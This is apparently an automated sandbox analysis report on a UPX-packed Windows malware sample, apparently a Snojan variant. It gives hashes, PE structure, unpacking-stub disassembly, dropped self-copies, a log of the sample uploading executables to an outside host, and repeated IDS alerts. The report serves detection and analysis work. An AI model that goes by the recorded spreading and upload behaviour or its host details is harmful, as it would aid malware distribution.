
Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691601647556482
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+eK:LJ0TAz6Mte4A+aaZx8EnCGVue
MD5:	2E5C5461E59389B14433BEF44A865A2C
SHA1:	A4997B17907885BCCE2FC94239486161C4E6A173
SHA-256:	60DF608B3E0075AA375484C57569432CA17A612AE40849B4C1994D53EB818F81
SHA-512:	368531CD7462A83B75DB985EC1010FFB7737F24FAC1863BC58475D734CFDB1966C70F04FBF85B5AD54F86036104574EEA32DD5D3D41BA39419AD44222AF70D0C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-ymsS3UBlm6KtwJ4n.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691649822106757
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+XK:LJ0TAz6Mte4A+aaZx8EnCGVuX
MD5:	5D013E8F7D102174D81EC94C6E5B6FA6
SHA1:	7C45632D44D7E46540160EF7AEA58B4B68374203
SHA-256:	782999C960CC042E3D64F92561502E8588F1EB4282603BC3D764D3C14A6F6776
SHA-512:	FBB548F565C1972C155461D3D43448DB23FB0961E24B75B912B0355BAF0215850A82BD906E344C3952963E0B96D2AE7EFD481F597CD39F29744019EEFB4753CD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-zmf4GTpATeIJdXHM.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691677691731856
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+TK:LJ0TAz6Mte4A+aaZx8EnCGVuT
MD5:	DA26F61C2FB8FCD1FDDB45463CEB4EE4
SHA1:	1AF497CC81E430686B4D38A6DD730E62DA2A4B22
SHA-256:	3C87425C9E4E995B8F7EB30DDF6A5D804EAB50BC7F98E22C7F4CBD887336D18B
SHA-512:	BA89D8266D56CA3B382135C3DE513E3A490CDF3A3E202FE2709233B5D012361AFACCB3F68D93C224B22FC7C9B30530478B76D3846CBEC65A756DB02C827E9BBF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-zp2ChanxJl0jb6U5.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691633923726796
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+cK:LJ0TAz6Mte4A+aaZx8EnCGVuc
MD5:	ECBBADBB002680EE1C7F891E085CD0E1
SHA1:	C94772F516C895032224D84A030569CAACE8379A
SHA-256:	FD255288B53857817F359659C602D50F584AB856135DF9C4136E48709C5D7A7F
SHA-512:	35B86940D5330BA77A2885A227E6AB204ECC23F1CDC4EF56FEB171D1C3E801FF46209B05B0175F1D1B061EBFDAA1D9FA135F768BC90738F799D741EB5D1D9936
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	137459
Entropy (8bit):	5.715225448242642
Encrypted:	false
SSDEEP:	768:OH7AOjO26Imk/LY+cOArO3o02L0PTaemy:OHMumk/Ly9aV1
MD5:	401AB0AF5DC82026D5C13085D7BBA865
SHA1:	FEF05A75A1DFE08B749E2998FE2278FB27F80B75
SHA-256:	A36E53A05DBFB93881ACBF72ED829784E358A4B254F4E05FD34A238C7B06D096
SHA-512:	B2B38093B51812D517D465E32024817AEEBA73CFF1C82EE68A60A140E8CE1A99AA0530BF4503C1C8E528D7C41E3EE10292AAD3FC270EEB63EAD835F34912C991
Malicious:	false
Preview:	ma num wa rifaien yanje v1.0....ma num wa gyen orn hyzik rifaien2-MkDE7nUolYAvIS4K.exe en exec ween NODE2..> POST /upload HTTP/1.1...Host: wecan.hasthe.technology...Accept: /...Content-Length: 85412...Expect: 100-continue...Content-Type: multipart/form-data; boundary=------------------------4e7e7b554839d13b......< HTTP/1.1 100 Continue...< HTTP/1.1 301 Moved Permanently...< Date: Thu, 10 Oct 2024 19:01:13 GMT...< Content-Type: text/html...< Content-Length: 167...< Connection: keep-alive...< Cache-Control: max-age=3600...< Expires: Thu, 10 Oct 2024 20:01:13 GMT...< Location: https://computernewb.com/collab-vm/...< Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pLA5b5FYH0u7XkWnVlvJV49KuLMwLoRM%2BGCekVVxoQXQnsP9H9%2BwQtWRS2hsq4bMf2Lt7M2qynKV8nqz7pJQwbbJPd0NM7io8EFWVy10P0bWO3tLzK9r2LcTc3NikCLzwI9K18Oax26g5g%3D%3D"}],"group":"cf-nel","max_age":604800}...< NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}...< Server: cloudflare...< CF-RAY: 8d0

Static File Info

General

File type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Entropy (8bit):	7.691691661205309
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	Yx1Wz608PO.exe
File size:	84'992 bytes
MD5:	295f29368a4822ed7babaac02992ca00
SHA1:	01cbcf366462db800d4785f05c126e743f5bfe0e
SHA256:	85a6e921e4d5107d13c1eb8647b130a1d54ba2b6409118be7945fd71c6c8235f
SHA512:	9fb04ad21fba1ed581f328626148a8261569e08885749bfcd8903fde561e8fcfe6266c6229de5d1b92bfcf0d37e67661c728fd7ec27e98a48eddbdbcd6494698
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+IK:LJ0TAz6Mte4A+aaZx8EnCGVuI
TLSH:	1E83021646DB58F7E4AB127D469DD063B2FBA06F4BCE3EDBE1FC224DD6162B01580248
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x428610
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x53B2F7A5 [Tue Jul 1 18:02:13 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2dd2758f0793bdb29ce229a2432eb81b

Entrypoint Preview

Instruction
pushad
mov esi, 00414015h
lea edi, dword ptr [esi-00013015h]
push edi
or ebp, FFFFFFFFh
jmp 00007F0348F88DF2h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F0348F88DE9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F0348F88DCFh
mov eax, 00000001h
add ebx, ebx
jne 00007F0348F88DE9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F0348F88DD1h
jne 00007F0348F88DEBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F0348F88DC6h
xor ecx, ecx
sub eax, 03h
jc 00007F0348F88DEFh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F0348F88E56h
mov ebp, eax
add ebx, ebx
jne 00007F0348F88DE9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007F0348F88DE9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007F0348F88E02h
inc ecx
add ebx, ebx
jne 00007F0348F88DE9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F0348F88DD1h
jne 00007F0348F88DEBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F0348F88DC6h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F0348F88DF1h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007F0348F88DD9h
jmp 00007F0348F88D48h
nop
mov eax, dword ptr [edx]
add edx, 04h
mov dword ptr [edi], eax
add edi, 04h
sub ecx, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x24000	0x634	UPX1
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29000	0x11c	UPX2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x13000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x14000	0x15000	0x14800	a40d389bfd8e8a963186de3009c67461	False	0.9637480945121951	data	7.711164626262301	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX2	0x29000	0x1000	0x200	242bcdf5984af39a73fb0a819192aee4	False	0.3515625	data	2.514828630588714	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
ADVAPI32.DLL	CryptHashData
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
msvcrt.dll	_iob
WS2_32.DLL	bind

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-10T21:01:13.280336+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49730	104.21.59.199	80	TCP
2024-10-10T21:01:14.206001+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49731	104.21.59.199	80	TCP
2024-10-10T21:01:15.333401+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49732	104.21.59.199	80	TCP
2024-10-10T21:01:16.354871+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49733	104.21.59.199	80	TCP
2024-10-10T21:01:17.320101+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49734	104.21.59.199	80	TCP
2024-10-10T21:01:18.280244+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49735	104.21.59.199	80	TCP
2024-10-10T21:01:19.191592+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49736	104.21.59.199	80	TCP
2024-10-10T21:01:20.188029+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49737	104.21.59.199	80	TCP
2024-10-10T21:01:21.109943+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49738	104.21.59.199	80	TCP
2024-10-10T21:01:22.100705+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49739	104.21.59.199	80	TCP
2024-10-10T21:01:23.193259+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49740	104.21.59.199	80	TCP
2024-10-10T21:01:24.148079+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49741	104.21.59.199	80	TCP
2024-10-10T21:01:25.165784+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49742	104.21.59.199	80	TCP
2024-10-10T21:01:26.128868+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49743	104.21.59.199	80	TCP
2024-10-10T21:01:27.093017+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49744	104.21.59.199	80	TCP
2024-10-10T21:01:28.115972+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49745	104.21.59.199	80	TCP
2024-10-10T21:01:29.109047+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49747	104.21.59.199	80	TCP
2024-10-10T21:01:30.098980+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49749	104.21.59.199	80	TCP
2024-10-10T21:01:31.392322+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49752	104.21.59.199	80	TCP
2024-10-10T21:01:32.305994+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49754	104.21.59.199	80	TCP
2024-10-10T21:01:33.476145+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49756	104.21.59.199	80	TCP
2024-10-10T21:01:34.378294+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49757	104.21.59.199	80	TCP
2024-10-10T21:01:35.293531+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49758	104.21.59.199	80	TCP
2024-10-10T21:01:36.407466+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49759	104.21.59.199	80	TCP
2024-10-10T21:01:38.405274+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49760	104.21.59.199	80	TCP
2024-10-10T21:01:39.441451+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49761	104.21.59.199	80	TCP
2024-10-10T21:01:40.418029+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49762	104.21.59.199	80	TCP
2024-10-10T21:01:41.646220+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49763	104.21.59.199	80	TCP
2024-10-10T21:01:42.567793+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49764	104.21.59.199	80	TCP
2024-10-10T21:01:43.600812+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49765	104.21.59.199	80	TCP
2024-10-10T21:01:44.573878+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49766	104.21.59.199	80	TCP
2024-10-10T21:01:45.514127+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49767	104.21.59.199	80	TCP
2024-10-10T21:01:46.812952+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49768	104.21.59.199	80	TCP
2024-10-10T21:01:48.014638+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49769	104.21.59.199	80	TCP
2024-10-10T21:01:48.998094+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49770	104.21.59.199	80	TCP
2024-10-10T21:01:49.914205+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49771	104.21.59.199	80	TCP
2024-10-10T21:01:50.910679+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49772	104.21.59.199	80	TCP
2024-10-10T21:01:52.280066+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49773	104.21.59.199	80	TCP
2024-10-10T21:01:53.238863+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49774	104.21.59.199	80	TCP
2024-10-10T21:01:54.436582+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49775	104.21.59.199	80	TCP
2024-10-10T21:01:55.428197+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49776	104.21.59.199	80	TCP
2024-10-10T21:01:56.350393+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	49777	104.21.59.199	80	TCP
2024-10-10T21:01:57.318013+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50334	104.21.59.199	80	TCP
2024-10-10T21:01:58.252318+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50337	104.21.59.199	80	TCP
2024-10-10T21:01:59.181400+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50338	104.21.59.199	80	TCP
2024-10-10T21:02:00.300640+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50339	104.21.59.199	80	TCP
2024-10-10T21:02:01.243943+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50340	104.21.59.199	80	TCP
2024-10-10T21:02:02.192794+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50341	104.21.59.199	80	TCP
2024-10-10T21:02:03.111687+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50342	104.21.59.199	80	TCP
2024-10-10T21:02:04.074909+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50343	104.21.59.199	80	TCP
2024-10-10T21:02:05.275526+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50344	104.21.59.199	80	TCP
2024-10-10T21:02:06.172104+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50345	104.21.59.199	80	TCP
2024-10-10T21:02:07.076737+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50346	104.21.59.199	80	TCP
2024-10-10T21:02:08.202330+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50347	104.21.59.199	80	TCP
2024-10-10T21:02:09.494215+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50348	104.21.59.199	80	TCP
2024-10-10T21:02:10.645802+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50349	104.21.59.199	80	TCP
2024-10-10T21:02:11.696092+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50351	104.21.59.199	80	TCP
2024-10-10T21:02:12.709137+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50357	104.21.59.199	80	TCP
2024-10-10T21:02:13.749828+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50363	104.21.59.199	80	TCP
2024-10-10T21:02:14.710191+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50369	104.21.59.199	80	TCP
2024-10-10T21:02:15.626871+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50374	104.21.59.199	80	TCP
2024-10-10T21:02:16.562903+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50380	104.21.59.199	80	TCP
2024-10-10T21:02:17.590547+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50388	104.21.59.199	80	TCP
2024-10-10T21:02:18.495882+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50394	104.21.59.199	80	TCP
2024-10-10T21:02:19.472276+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50400	104.21.59.199	80	TCP
2024-10-10T21:02:20.391386+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50406	104.21.59.199	80	TCP
2024-10-10T21:02:21.467251+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50415	104.21.59.199	80	TCP
2024-10-10T21:02:22.554098+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50420	104.21.59.199	80	TCP
2024-10-10T21:02:23.621543+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50425	104.21.59.199	80	TCP
2024-10-10T21:02:24.538535+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50431	104.21.59.199	80	TCP
2024-10-10T21:02:25.450152+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50436	104.21.59.199	80	TCP
2024-10-10T21:02:26.351216+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50441	104.21.59.199	80	TCP
2024-10-10T21:02:27.317869+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50447	104.21.59.199	80	TCP
2024-10-10T21:02:28.212447+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50453	104.21.59.199	80	TCP
2024-10-10T21:02:29.479089+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50461	104.21.59.199	80	TCP
2024-10-10T21:02:30.475618+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50467	104.21.59.199	80	TCP
2024-10-10T21:02:31.514904+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50472	104.21.59.199	80	TCP
2024-10-10T21:02:32.664903+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50477	104.21.59.199	80	TCP
2024-10-10T21:02:33.639798+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50482	104.21.59.199	80	TCP
2024-10-10T21:02:35.042943+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50487	104.21.59.199	80	TCP
2024-10-10T21:02:35.955218+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50495	104.21.59.199	80	TCP
2024-10-10T21:02:36.850964+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50505	104.21.59.199	80	TCP
2024-10-10T21:02:37.751303+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50511	104.21.59.199	80	TCP
2024-10-10T21:02:39.289238+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50517	104.21.59.199	80	TCP
2024-10-10T21:02:40.231333+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50528	104.21.59.199	80	TCP
2024-10-10T21:02:41.592764+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50534	104.21.59.199	80	TCP
2024-10-10T21:02:42.874732+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50540	104.21.59.199	80	TCP
2024-10-10T21:02:43.841079+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50546	104.21.59.199	80	TCP
2024-10-10T21:02:45.680453+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50552	104.21.59.199	80	TCP
2024-10-10T21:02:46.710807+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50563	104.21.59.199	80	TCP
2024-10-10T21:02:47.898924+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50569	104.21.59.199	80	TCP
2024-10-10T21:02:49.198041+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50575	104.21.59.199	80	TCP
2024-10-10T21:02:50.850165+0200	2839369	ETPRO MALWARE Win32/Snojan Variant Uploading EXE	1	192.168.2.4	50581	104.21.59.199	80	TCP
